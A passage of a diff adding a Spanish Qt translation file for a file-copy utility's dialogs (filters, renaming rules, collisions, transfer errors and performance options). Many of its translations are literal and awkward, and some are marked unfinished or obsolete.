+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Prueba de la cuerda:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Filtros de diálogo</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation>Todo cadena debe coincidir</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>La expresión regular es válido</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Filtros</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation>Filtros de exclusión</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation>Filtros de inclusión</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation>Ninguno = Incluya todos los</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>texto Fuente</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Simplificado regex</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perl&apos;s regex</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Sólo en el archivo</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation>Sólo en la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Partido completo</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation>Carpeta ya existe</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation>Trate de cambiar el nombre con el uso de caracteres especiales</translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>No se puede hacer para mover o copiar elemento en modo incorrecto obligado: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>No se puede guardar la lista de transferencias: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation>Problema al leer el archivo o archivos de tamaño es 0</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation>Encabezado incorrecto: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>La lista de transferencia está en modo mixto, pero este caso no es de este modo</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>La lista de transferencia está en el modo de copia, pero esta instancia no está en este modo</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>La lista de transferencia es el modo de desplazamiento, pero esta instancia no está en este modo</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation>Algunos errores han sido encontrados durante el análisis de línea</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>No se puede abrir la lista de transferencias: %1</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <source>Unable to get time</source>
+ <translation type="obsolete">No es posible obtener el tiempo</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>No se puede crear la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation>La carpeta de origen no existe</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation>No es posible cambiar el nombre de la carpeta temporal</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation>No se puede hacer el movimiento final real de la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation>No se puede mover la carpeta</translation>
+ </message>
+ <message>
+ <source>Unable to set the access-right</source>
+ <translation type="obsolete">No se puede establecer el acceso a la derecha</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation>No se puede eliminar</translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation>Error interno, por favor informe de ello!</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation>Error interno de leer el archivo de origen: tamaño de bloque fuera de rango</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>No se puede leer el archivo de origen: </translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation>Archivo truncada durante el cambio de lectura, los datos posibles</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation>En primer lugar el cambio de nombre</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation>%name% - copia</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation>En segundo lugar el cambio de nombre</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>%name% - copia (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; para el nombre del archivo original&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; para el número adicional&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Reglas de Cambio de nombre</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation>Carpeta de la lista negra</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation>Esto no es una carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation>La carpeta no existe</translation>
+ </message>
+ <message>
+ <source>The folder not exists</source>
+ <translation type="obsolete">La carpeta no existe</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation>La carpeta no se puede leer</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation>Problema con codificación de nombres</translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation>Archivo no encontrado</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished">Error interno: Ya la apertura</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished">Drive %1</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished">Desconocido carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished">raíz</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished">La fuente no existe</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished">El archivo de origen no existe</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished">Las sumas de comprobación no coinciden</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished">Error interno: El tamaño transferido no coincide</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished">Incapaz de hacer la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation>Trate de cambiar el nombre con el uso de caracteres especiales</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished">Otro archivo existe en el mismo lugar</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished">Error interno: El destino no está cerrado</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished">Error interno: El buffer no está vacío</translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation>Error de resolución de ruta (camino vacío)</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation>Error interno, por favor informe de ello!</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>No se puede leer el archivo de origen: </translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation>Archivo truncado durante lectura, posible cambio de datos</translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation>Transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation>Mueva la carpeta completa</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation>Transferencia de los derechos de archivo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation>Mantener la fecha de archivo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation>Inicio automático de la transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation>Si comprueba Menos rendimiento</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation>Siga el orden estricto</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation>Error y de la colisión</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation>Cuando el error carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation>Cuando archivo error</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation>Cuando archivo colisión</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation>Cuando la colisión carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation>Compruebe si existe la carpeta de destino</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation>Reglas de Cambio de nombre</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation>Eliminar archivos parcialmente transferidos</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation>Cambie el nombre del destino original</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation>Controlar</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation>Suma de comprobación</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation>Sólo después de un error</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation>No haga caso si no es posible</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation>Verifique checksums</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation>Rendimiento</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation>Búfer paralelo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation>KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation>Tamaño del bloque</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation>Tampón secuencial</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation>Habilitar el OS de amortiguación</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation>OS de amortiguación sólo si menor que</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation>Algoritmo de transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation>Paralelice si más pequeño que</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation>Temas inodo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation>Misc</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation>Compruebe el espacio en disco</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Use this folder when destination is empty</source>
+ <translation type="obsolete">Utilice esta carpeta al destino está vacía</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation>Busque</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation>Filtros</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation>Error con el archivo</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>Tamaño</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>Modificado</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>Nombre de archivo</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation>Carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Siempre realice esta acción</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation>Pruebe con privilegios elevados</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Ponga a abajo</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Reintentar</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>Cancelar</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>El archivo ya existe</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Fuente</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>Tamaño</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>Modificado</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>Nombre de archivo</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation>Carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Sugerir nuevo &amp;nombre</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Siempre realice esta acción</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation>Sobrescribir si la fecha de modificación difiere</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Cambiar el nombre</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>&amp;Sobrescribir</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>Ca&amp;ncelar</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Sobrescribir si nuevo</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation>Sobrescribir si es mayor</translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>Tamaño</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>Modificado</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>Nombre de archivo</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation>El origen y el destino son los mismos</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation>Carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Sugerir nuevo nombre</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Siempre realice esta acción</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>Cambiar el nombre</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>Cancelar</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Fuente</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Destino</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation>La fuente y el destino es idéntica</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>Modificado</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>Nombre de la carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation>Carpeta</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Sugerir nuevo nombre</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Siempre realice esta acción</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>Cambiar el nombre</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
